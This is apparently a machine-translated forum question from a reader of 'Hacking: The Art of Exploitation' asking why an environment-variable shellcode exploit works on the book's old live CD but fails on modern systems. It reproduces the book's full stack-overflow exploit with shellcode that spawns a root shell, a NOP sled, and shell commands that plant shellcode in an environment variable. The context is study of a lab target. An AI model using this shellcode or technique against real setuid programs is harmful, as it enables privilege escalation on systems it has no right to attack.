Estoy trabajando a través de la Piratería: el Arte de La Explotación y estoy corriendo en mi primera pega tratando de conseguir un trabajo conocido explotar a ejecutar desde el libro a través de una variable de entorno. Todos los programas fueron compilados con -fno-stack-protector -zexecstack -no-pie -fno-pie
.
Ejecución exploit_notesearch.c
(aunque con un desplazamiento específico), yo era capaz de conseguir la hazaña de meter un shell moviendo el desplazamiento con argv[1]
. Esto funciona en sistemas operativos modernos (con ASLR movilidad), así como el cd de instalación incluido con el libro.
exploit_notesearch.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";
int main(int argc, char *argv[]) {
unsigned int i, *ptr, ret, offset=208;
char *command, *buffer;
command = (char *) malloc(200);
bzero(command, 200); // zero out the new memory
strcpy(command, "./notesearch \'"); // start command buffer
buffer = command + strlen(command); // set buffer at the end
if(argc > 1) // set offset
offset = atoi(argv[1]);
ret = (unsigned int) &i - offset; // set return address
for(i=0; i < 160; i+=4) // fill buffer with return address
*((unsigned int *)(buffer+i)) = ret;
memset(buffer, 0x90, 60); // build NOP sled
memcpy(buffer+60, shellcode, sizeof(shellcode)-1);
strcat(command, "\'");
system(command); // run exploit
free(command);
}
Más adelante en el capítulo, se establece la shellcode a una variable de entorno y el intento de redirigir el flujo de el lugar en la pila donde la SHELLCODE variable de entorno se establece, a mitad de camino a través de la antepuesto NOP sled. Sin embargo, esto nunca se ejecuta el exploit en los modernos sistemas operativos, pero funciona bien en Ubuntu 7.04 live CD que viene con el libro. shellcode.bin
es la shellcode en la parte superior de la exploit_notesearch.c
archivo corrió con echo -en
y redirige a un archivo.
$ export SHELLCODE=$(perl -e 'print "\x90"x200')$(cat shellcode.bin)
$ ./notesearch $(perl -e 'print "\x17\xf2\xff\xbf"x40') # Address halfway through NOP sled
¿Qué está pasando aquí que ha cambiado entre los antiguos sistemas operativos y moderna? Hay una protección que no me he enterado de que es la prevención de viajar en el NOP sled a la shellcode?
Gracias.